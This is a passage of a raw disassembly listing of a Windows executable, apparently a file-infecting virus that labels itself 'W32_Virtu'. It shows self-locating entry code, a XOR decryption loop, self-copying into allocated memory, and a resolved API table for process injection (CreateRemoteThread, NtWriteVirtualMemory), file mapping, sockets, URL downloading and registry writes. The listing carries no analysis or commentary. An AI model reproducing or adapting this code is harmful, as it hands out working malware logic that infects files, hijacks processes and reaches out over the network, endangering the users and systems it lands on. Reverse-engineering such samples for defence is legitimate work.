dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o
; sub_415DD8+Eo ...
dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo
dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o
dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o
; sub_41761C+DDo ...
dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o
; sub_41761C+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .data:off_4383A8o
dd 1B7h dup(0)
dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w
; sub_417493+94r
dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w
; sub_4178F9+55r ...
dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w
; sub_417493+D6r ...
dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w
; sub_417493+35r ...
dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo
dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w
; sub_417493+A2r
align 8
dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o
; sub_4172C1+103r ...
dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw
; sub_4177C3+107w
dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w
; sub_4177C3+10Dw ...
dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w
; sub_4178F9+4Fr
dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w
; sub_417C61:loc_417DE6w ...
dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o
; sub_417B2F+12o ...
dd 0
dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr
; sub_417E06+3Ar
dd 7Fh dup(0)
dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r
; sub_417E06+4Aw
dd 1944h dup(0)
dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o
dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o
; sub_417B2F+3Co ...
dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o
; sub_418D2A+131o ...
dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co
; sub_419AE0+A5o
dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w
; sub_4190A5+4Dr ...
dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo
; sub_4199AC+12Do
dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co
; sub_418FE5+7Eo ...
byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r
; sub_4190A5+34w
align 10h
dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o
; sub_4192FC+89o ...
dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o
; sub_418C0E+5Bo
dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er
; sub_41A05C+54r ...
dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr
; sub_41A05C+37r ...
dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar
; sub_41A1B1+83o
dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r
; sub_41A1B1+11Bw
dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o
; sub_41A1B1:loc_41A2EEo
dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr
; sub_41A05C+ECr ...
align 10h
dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o
byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o
; .text:0041B881o ...
align 10h
dd 3Fh dup(0)
dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o
dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o
; .text:0041B6CAo
dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w
; sub_41DA8B:loc_41DB07w ...
dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w
; sub_41E312:loc_41E3ACw ...
dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar
dword_4DBDE8 dd 0A28h ; DATA XREF: .text:0041E225w
dword_4DBDEC dd 501h ; DATA XREF: .text:0041E21Cw
dword_4DBDF0 dd 5 ; DATA XREF: .text:0041E211w
dword_4DBDF4 dd 1 ; DATA XREF: .text:0041E203w
dword_4DBDF8 dd 1 ; DATA XREF: sub_401221:loc_401516r
; sub_42378C+91w
dword_4DBDFC dd 350B20h ; DATA XREF: sub_401221+2FEr
; sub_401221+31Er ...
dd 0
dword_4DBE04 dd 350B48h ; DATA XREF: sub_4236D3+44w
dd 3 dup(0)
off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: sub_42378C+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw
; sub_4241E3+5r
align 10h
dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w
dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r
; sub_41C1B3+8Bw
dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br
; sub_41CAD4+91w
align 10h
dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw
dword_4DBE34 dd 0 ; DATA XREF: .text:0041E257w
; sub_4236D3:loc_4236E5r ...
dd 0
dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r sub_41E2EEr ...
dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw
; sub_41F4C9+2Dw ...
dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r
dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr
; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r
; sub_4208E2+4w ...
dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r
align 8
dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r
; sub_42237D+1Ar ...
byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r
; sub_422279+98r ...
align 10h
dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r
; sub_42245B+21w ...
byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w
align 4
dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er
; sub_422A2C+3Ar ...
dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr
; sub_422A2C+43r ...
dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar
; sub_4227F8+5r
dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r
dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r
; sub_4232A8+4Cw ...
dd 2 dup(0)
dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r
; sub_41DE4A+6Er ...
dd 3 dup(0)
dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r
; sub_41E0D4+BFr ...
dd 0
dword_4DBE9C dd 0 ; DATA XREF: sub_4234F7+3Ar
; sub_4234F7+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42378C:loc_4237A3o
; .data:off_4DBE14o
align 4
dd 3Ah dup(0)
dword_4DBFA4 dd 1 ; DATA XREF: sub_4239D9+2r
; sub_4239D9+23w ...
dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r
dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w
; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r
dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r
; sub_4244F4:loc_42455Ew
word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao
; sub_424DF9+46r
byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r
align 4
dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o
dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w
; sub_424DF9+5Co
dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w
dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w
dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr
; sub_424F1C+38r ...
dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r
; sub_425029+2Ew ...
dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w
; sub_425029:loc_425078r
dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw
; sub_425029+60r
dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr
dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr
; sub_425C06+6Do
dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r
; sub_425C06+44o
dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r
; sub_425C06+37o
dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r
; sub_425C06+51o
align 10h
dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r
; sub_426636+4Cw ...
dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r
; sub_4268C1:loc_42692Bw
byte_4DC018 db 1 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
align 4
dword_4DC01C dd 351110h ; DATA XREF: sub_41E490:loc_41E4A1r
; sub_41FD3D+14r ...
dword_4DC020 dd 400h dup(0) ; DATA XREF: .data:off_43D568o
; .data:0043D570o
dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r
; sub_41E490+56r ...
dd 7 dup(0)
dword_4DD040 dd 350650h ; DATA XREF: sub_41F8E3+75r
; sub_41F9BC+2Ar ...
dword_4DD044 dd 3Fh dup(0) ; DATA XREF: sub_423B0B+92o
dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r
; sub_41F9BC+Cr ...
dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r
; sub_420749+65w ...
align 10h
dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o
; sub_420749+171o ...
dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w
; sub_420749+15Dw ...
byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w
; sub_420988:loc_420AB1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co
; sub_420749+AFo ...
byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr
; sub_420749+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew
; sub_420749+12Bw ...
dword_4DD368 dd 0 ; DATA XREF: sub_41E6CF+3Cw
; sub_41ED74+5r ...
dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar
; sub_41E742+25Ar ...
dword_4DD370 dd 0 ; DATA XREF: sub_41E6CF+31w
; sub_41E742+311w ...
dword_4DD374 dd 0 ; DATA XREF: sub_41E6CF+21w
; sub_41E742+22Dr ...
dword_4DD378 dd 0 ; DATA XREF: sub_41E6CF+28w
; sub_41E717r ...
dword_4DD37C dd 0 ; DATA XREF: sub_41E6CF+15w
; sub_41E717+8r ...
dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr
; sub_41BEF3+Fr ...
dword_4DD384 dd 350000h ; DATA XREF: sub_41BA91+5Ar
; sub_41BBE2+C0r ...
dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr
; sub_41BBE2:loc_41BC12r ...
dword_4DD38C dd 142340h ; DATA XREF: .text:0041E24Dw
; sub_42367B+Fr ...
dword_4DD390 dd 1 ; DATA XREF: sub_4236D3+ADw
dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr
; sub_420B0D+11w ...
dword_4DD398 dd 35075Ch ; DATA XREF: sub_41C1B3+3Er
; sub_41D9B3+13r ...
dword_4DD39C dd 350758h ; DATA XREF: sub_41C1B3+35r
; sub_41C1B3+57r ...
_data ends
; Section 4. (virtual address 000DE000)
; Virtual size : 00006200 ( 25088.)
; Section size in file : 00006200 ( 25088.)
; Offset to raw data for section: 000DE000
; Flags E0000260: Text Data Comment Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_sxdata segment para public 'CODE' use32
assume cs:_sxdata
;org 4DE000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7Ah dup(0)
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_C = dword ptr -0Ch
var_4 = dword ptr -4
call $+5
push ebp
mov ebx, [esp+8]
mov ebp, [esp+8+var_4]
sub [esp+8+var_4], 0C0032h
and ebx, 0FFFFF000h
sub ebp, offset loc_401005
loc_4DE222: ; CODE XREF: start+3Dj
cmp dword ptr [ebx+4Eh], 73696854h
jnz short loc_4DE237
mov eax, [ebx+3Ch]
add eax, ebx
cmp word ptr [eax], 4550h
jz short loc_4DE23F
loc_4DE237: ; CODE XREF: start+29j
sub ebx, 100h
jmp short loc_4DE222
; ---------------------------------------------------------------------------
loc_4DE23F: ; CODE XREF: start+35j
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_4DE24D: ; CODE XREF: start:loc_4DE274j
lodsd
add eax, ebx
cmp dword ptr [eax-1], 74654700h
jnz short loc_4DE274
cmp dword ptr [eax+3], 636F7250h
jnz short loc_4DE274
cmp dword ptr [eax+7], 72646441h
jnz short loc_4DE274
cmp dword ptr [eax+0Bh], 737365h
jz short loc_4DE279
loc_4DE274: ; CODE XREF: start+57j start+60j ...
loop loc_4DE24D
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4DE279: ; CODE XREF: start+72j
sub [esp+0Ch+var_C], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
call near ptr loc_4DE29F+2
inc ebx
insb
outsd
jnb short near ptr loc_4DE2FD+2
dec eax
popa
outsb
db 64h
insb
loc_4DE29F: ; CODE XREF: start+90p
add gs:[ebx-1], dl
start endp ; sp-analysis failed
setalc
mov [ebp+402407h], eax
call near ptr loc_4DE2BB+1
inc ebx
jb short loc_4DE317
popa
jz short loc_4DE31A
inc ebp
jbe short near ptr loc_4DE31C+1
outsb
jz short near ptr loc_4DE2FA+2
loc_4DE2BB: ; CODE XREF: .sxdata:004DE2AAp
add [ebx-1], dl
setalc
mov [ebp+40240Bh], eax
call sub_4DE2D7
inc edi
db 65h
jz short loc_4DE31A
popa
jnb short sub_4DE345
inc ebp
jb short near ptr sub_4DE345+1
outsd
jb short $+2
; =============== S U B R O U T I N E =======================================
sub_4DE2D7 proc near ; CODE XREF: .sxdata:004DE2C5p
; FUNCTION CHUNK AT 004DE355 SIZE 0000008D BYTES
; FUNCTION CHUNK AT 004DE471 SIZE 000000DD BYTES
push ebx
call esi
mov [ebp+40240Fh], eax
call sub_4DE32A
test eax, eax
jz short loc_4DE30A
push eax
call dword ptr [ebp+40240Fh]
test eax, eax
jnz short loc_4DE304
lea eax, [ebp+401155h]
loc_4DE2FA: ; CODE XREF: .sxdata:004DE2B9j
mov dl, [eax-1]
loc_4DE2FD: ; CODE XREF: start+98j
call sub_4DE345
jmp short loc_4DE355
; ---------------------------------------------------------------------------
loc_4DE304: ; CODE XREF: sub_4DE2D7+1Bj
; sub_4DE2D7+E7j ...
call dword ptr [ebp+402407h]
loc_4DE30A: ; CODE XREF: sub_4DE2D7+10j
pop ebp
retn
sub_4DE2D7 endp
; ---------------------------------------------------------------------------
loc_4DE30C: ; CODE XREF: sub_4DE32A+2p
; sub_4DE2D7:loc_4DE4E1p
pop edx
push 0
push 0
push 0
push 0
; ---------------------------------------------------------------------------
db 68h, 1
; ---------------------------------------------------------------------------
loc_4DE317: ; CODE XREF: .sxdata:004DE2B0j
add [eax+eax], al
loc_4DE31A: ; CODE XREF: .sxdata:004DE2B3j
; .sxdata:004DE2CBj
mov eax, esp
loc_4DE31C: ; CODE XREF: .sxdata:004DE2B6j
push 0
push eax
push 0Ch
mov eax, esp
jmp edx
; ---------------------------------------------------------------------------
push esi
push esp
pop edi
xor eax, [eax]
; =============== S U B R O U T I N E =======================================
sub_4DE32A proc near ; CODE XREF: sub_4DE2D7+9p
; .sxdata:loc_4DEEDCp
xor ecx, ecx
call loc_4DE30C
lea edx, [ebp+401125h]
push edx
push ecx
push ecx
push eax
call dword ptr [ebp+40240Bh]
add esp, 20h
retn
sub_4DE32A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4DE345 proc near ; CODE XREF: .sxdata:004DE2CFj
; sub_4DE2D7:loc_4DE2FDp ...
mov dh, dl
mov ecx, 12B2h
loc_4DE34C: ; CODE XREF: sub_4DE345+Cj
xor [eax], dl
inc eax
add dl, dh
loop loc_4DE34C
retn
sub_4DE345 endp
; ---------------------------------------------------------------------------
wait
; START OF FUNCTION CHUNK FOR sub_4DE2D7
loc_4DE355: ; CODE XREF: sub_4DE2D7+2Bj
and dword ptr [ebp+401480h], 0
and dword ptr [ebp+401484h], 0
and dword ptr ss:loc_401488[ebp], 0
push edi
mov byte ptr [ebp+401262h], 1
mov dword ptr ss:loc_402413[ebp], esi
lea esi, loc_4014A9[ebp]
xor ecx, ecx
lea edi, loc_402423[ebp]
mov cl, 1Ch
call sub_4DE68C
pop edi
call dword ptr [ebp+40245Bh]
shr eax, 1Fh
jz loc_4DE471
mov eax, [edi+14h]
push 40h
add eax, ebx
push 8001000h
mov [ebp+40241Bh], eax
push 5839h
push 0
call dword ptr [ebp+40248Bh]
test eax, eax
jz loc_4DE304
xchg eax, edi
lea esi, sub_401000[ebp]
mov ebp, edi
mov ecx, 60Fh
sub ebp, offset sub_401000
lea edx, loc_4011E2[ebp]
rep movsd
jmp edx
; END OF FUNCTION CHUNK FOR sub_4DE2D7
; ---------------------------------------------------------------------------
sub esp, 20h
mov edi, esp
push 8
xor eax, eax
pop ecx
lea edx, [ebp+4018D1h]
rep stosd
mov edi, esp
mov [edi+10h], edx
inc byte ptr [edi+1Ch]
push edi
push 10003h
call dword ptr [ebp+40241Bh]
add esp, 20h
test eax, eax
jz loc_4DE304
xchg eax, edi
push 0
push 1
push 80000400h
push 10000h
call dword ptr [ebp+40241Bh]
test eax, eax
jz loc_4DE304
push 0
push eax
push 40000h
push 0
shr eax, 0Ch
push edi
push 1
push eax
push 10001h
call dword ptr [ebp+40241Bh]
push 1000Ah
call dword ptr [ebp+40241Bh]
call sub_4DE461
jmp loc_4DE304
; =============== S U B R O U T I N E =======================================
sub_4DE461 proc near ; CODE XREF: .sxdata:004DE457p
; sub_4DE461+Dj
push 1
pop ecx
jecxz short locret_4DE470
push 0Ah
call dword ptr [ebp+402483h]
jmp short sub_4DE461
; ---------------------------------------------------------------------------
locret_4DE470: ; CODE XREF: sub_4DE461+3j
retn
sub_4DE461 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4DE2D7
loc_4DE471: ; CODE XREF: sub_4DE2D7+C0j
cmp dword ptr [ebp+40243Bh], 0
jz loc_4DE304
call near ptr loc_4DE488+1
dec esi
push esp
inc esp
dec esp
dec esp
loc_4DE488: ; CODE XREF: sub_4DE2D7+1A7p
add bh, bh
xchg eax, ebp
dec edi
and al, 40h
add [ebp+401637B5h], cl
add [ebx], dh
leave
lea edi, loc_402493[ebp]
mov cl, 9
xchg eax, ebx
call sub_4DE68C
cmp dword ptr [ebp+4024B3h], 0
jz loc_4DE304
mov eax, [ebp+402497h]
push dword ptr [eax+1]
pop dword ptr [ebp+4023C1h]
mov eax, [ebp+40249Bh]
push dword ptr [eax+1]
pop dword ptr [ebp+4023C7h]
mov ecx, [ebp+40249Fh]
jecxz short loc_4DE4E1
push dword ptr [ecx+1]
pop dword ptr [ebp+4023D4h]
loc_4DE4E1: ; CODE XREF: sub_4DE2D7+1FFj
call loc_4DE30C
lea edx, [ebp+40149Fh]
push edx
push 5839h
push 0
push 4
push eax
push 0FFFFFFFFh
call dword ptr ss:loc_40242B[ebp]
add esp, 20h
push 5839h
mov edx, esp
push 0
mov ecx, esp
push 4
push 0
push 2
push edx
push 0
push 5839h
push 0
push ecx
push 0FFFFFFFFh
push eax
call dword ptr [ebp+4024A3h]
pop edi
pop ecx
test edi, edi
jz loc_4DE304
lea esi, sub_401000[ebp]
mov ecx, 60Fh
mov ebp, edi
rep movsd
sub ebp, offset sub_401000
lea eax, loc_40134E[ebp]
jmp eax
; END OF FUNCTION CHUNK FOR sub_4DE2D7
; ---------------------------------------------------------------------------
dw 958Dh
dd offset loc_401789
dd 6395FF52h, 0E8004024h, 16h
aLookupprivil_0 db 'LookupPrivilegeValueA',0
dw 0FF50h
dd 40241395h, 17858900h, 50004024h, 6A206A54h, 0A795FFFFh
dd 85004024h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h
dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h
dd 1795FF56h, 8B004024h, 565656C4h, 0FF575650h, 40249395h
dd 10C48300h, 795FF57h, 6A004024h, 0FF026A00h, 40243B95h
dd 128B900h, 2B970000h, 240C89E1h, 95FF5754h, 402473h
dd 0A583F633h, 4024F7h, 0FF575400h, 40247795h, 74C08500h
dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 40246F95h
dd 74C08500h, 0E4E893DCh, 33000003h, 30E391C9h, 24F78539h
dd 28750040h, 0C3EC181h, 54500000h, 50515650h, 95FF5350h
dd 402433h, 7459C085h, 2474FF0Fh, 0F7858F08h, 0E8004024h
dd 0FFFFFE09h, 795FF53h, 0EB004024h, 28C48198h, 57000001h
dd 240795FFh, 91E90040h, 90FFFFFCh, 585858h, 1839h, 0BF4h
dd 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4DE68C proc near ; CODE XREF: sub_4DE2D7+B1p
; sub_4DE2D7+1C9p ...
push ecx
push esi
push ebx
call dword ptr ss:loc_402413[ebp]
stosd
pop ecx
loc_4DE697: ; CODE XREF: sub_4DE68C+Ej
lodsb
test al, al
jnz short loc_4DE697
loop sub_4DE68C
retn
sub_4DE68C endp
; ---------------------------------------------------------------------------
aW32_virtu db 'W32_Virtu',0
aLstrlen db 'lstrlen',0
aCreatefilea_0 db 'CreateFileA',0
aCreatefilema_0 db 'CreateFileMappingA',0
aCreateproces_0 db 'CreateProcessA',0
aCreateremoteth db 'CreateRemoteThread',0
aCreatethread_0 db 'CreateThread',0
aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0
aExitthread_0 db 'ExitThread',0
aGetfileattribu db 'GetFileAttributesA',0
aGetfilesize db 'GetFileSize',0
aGetfiletime_0 db 'GetFileTime',0
aGetmodulehan_0 db 'GetModuleHandleA',0
aGettempfilenam db 'GetTempFileNameA',0
aGettemppatha_0 db 'GetTempPathA',0
aGetversion db 'GetVersion',0
aGetversionex_0 db 'GetVersionExA',0
aLoadlibrarya_0 db 'LoadLibraryA',0
aMapviewoffile db 'MapViewOfFile',0
aOpenfilemappin db 'OpenFileMappingA',0
aOpenprocess_0 db 'OpenProcess',0
aProcess32fir_0 db 'Process32First',0
aProcess32nex_0 db 'Process32Next',0
aSetfileattri_0 db 'SetFileAttributesA',0
aSetfiletime db 'SetFileTime',0
aSleep db 'Sleep',0
aUnmapviewoffil db 'UnmapViewOfFile',0
aVirtualalloc db 'VirtualAlloc',0
aWritefile_0 db 'WriteFile',0
aNtadjustprivil db 'NtAdjustPrivilegesToken',0
aNtcreatefile db 'NtCreateFile',0
aNtcreateproces db 'NtCreateProcess',0
aNtcreateproc_0 db 'NtCreateProcessEx',0
aNtmapviewofsec db 'NtMapViewOfSection',0
aNtopenprocesst db 'NtOpenProcessToken',0
aNtprotectvirtu db 'NtProtectVirtualMemory',0
aNtwritevirtual db 'NtWriteVirtualMemory',0
aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0
aWsastartup_0 db 'WSAStartup',0
aClosesocket_0 db 'closesocket',0
aConnect_0 db 'connect',0
aGethostbynam_0 db 'gethostbyname',0
aRecv_0 db 'recv',0
aSend_1 db 'send',0
aSocket_0 db 'socket',0
aInternetclos_0 db 'InternetCloseHandle',0
aInternetgetc_1 db 'InternetGetConnectedState',0
aInternetopen_0 db 'InternetOpenA',0
aInternetopen_1 db 'InternetOpenUrlA',0
aInternetread_0 db 'InternetReadFile',0
aAdvapi32_dll_0 db 'ADVAPI32.DLL',0
aRegclosekey_0 db 'RegCloseKey',0
aRegopenkeyex_0 db 'RegOpenKeyExA',0
aRegqueryvalu_0 db 'RegQueryValueExA',0
aRegsetvaluee_0 db 'RegSetValueExA',0
; =============== S U B R O U T I N E =======================================
sub_4DE9D0 proc near ; CODE XREF: .sxdata:004DEA73p
; .sxdata:004DEA84p ...
var_5 = byte ptr -5
sub ecx, 5
sub ecx, eax
push ecx
push 0E8000000h
lea ecx, [esp+8+var_5]
push 0
push 5
push ecx
push eax
push ebx
push 5
mov ecx, esp
push eax
mov edx, esp
push eax
push esp
push 40h
push ecx
push edx
push ebx
call dword ptr ss:loc_4024AB[ebp]
add esp, 0Ch
call dword ptr [ebp+4024AFh]
add esp, 8
retn
sub_4DE9D0 endp
; ---------------------------------------------------------------------------
push edi
lea eax, [ebp+40149Fh]
xor edi, edi
push eax
push 0
push 6
call dword ptr [ebp+40246Bh]
test eax, eax
jz short loc_4DEA9E
push eax
push 5839h
mov edx, esp
push 0
mov ecx, esp
push 4
push 100000h
push 2
push edx
push 0
push 5839h
push 0
push ecx
push ebx
push eax
call dword ptr [ebp+4024A3h]
pop edi
pop ecx
call dword ptr [ebp+402407h]
test edi, edi
jz short loc_4DEA9E
mov ecx, dword ptr ss:loc_401488[ebp]
jecxz short loc_4DEA67
lea edx, sub_401000[ebp]
add edx, ecx
push edi
push ebx
call edx
loc_4DEA67: ; CODE XREF: .sxdata:004DEA59j
mov eax, [ebp+402497h]
lea ecx, [edi+1379h]
call sub_4DE9D0
mov eax, [ebp+40249Bh]
lea ecx, [edi+13C6h]
call sub_4DE9D0
mov eax, [ebp+40249Fh]
test eax, eax
jz short loc_4DEA9E
lea ecx, [edi+13D3h]
call sub_4DE9D0
loc_4DEA9E: ; CODE XREF: .sxdata:004DEA1Dj
; .sxdata:004DEA51j ...
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 4018A8h
xor ecx, ecx
lea eax, loc_401C3E[ebp]
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call dword ptr [ebp+402437h]
xchg eax, [esp]
call dword ptr [ebp+402407h]
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 55h, 0E8h, 0
dd 5D000000h, 18D7ED81h, 0FF6A0040h, 18A2958Dh, 52500040h
dd 2420CDh, 0C483002Ah, 85C7660Ch, 4018E8h, 85C720CDh
dd 4018EAh, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
dd 0B68F0h, 0D08B0000h, 3C50035Bh, 1906B58Dh, 0BA8B0040h
dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h, 0FF6A5251h
dd 24AB95FFh, 0C4830040h, 3F958B0Ch, 2B004024h, 7EA83D7h
dd 6A07C7h, 578900E8h, 9569C303h, 402501h, 8088405h, 0B042C033h
dd 195891Ah, 0F7004025h, 61428DE2h, 75C9FEAAh, 0E855C3E1h
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 401998h
mov ebx, [ebp+402505h]
cmp dword ptr [esp+8], 0
jz loc_4DEC69
sub esp, 208h
push esp
push 104h
call dword ptr [ebp+402457h]
mov edi, esp
lea eax, [esp+104h]
push eax
push 0
call near ptr loc_4DEBD6+1
push esi
push edx
push esp
loc_4DEBD6: ; CODE XREF: .sxdata:004DEBCEp
add [edi-1], dl
xchg eax, ebp
push ebx
and al, 40h
add [ebx], dh
leave
lea edx, [edi+104h]
push ecx
push ecx
push 2
push ecx
push 1
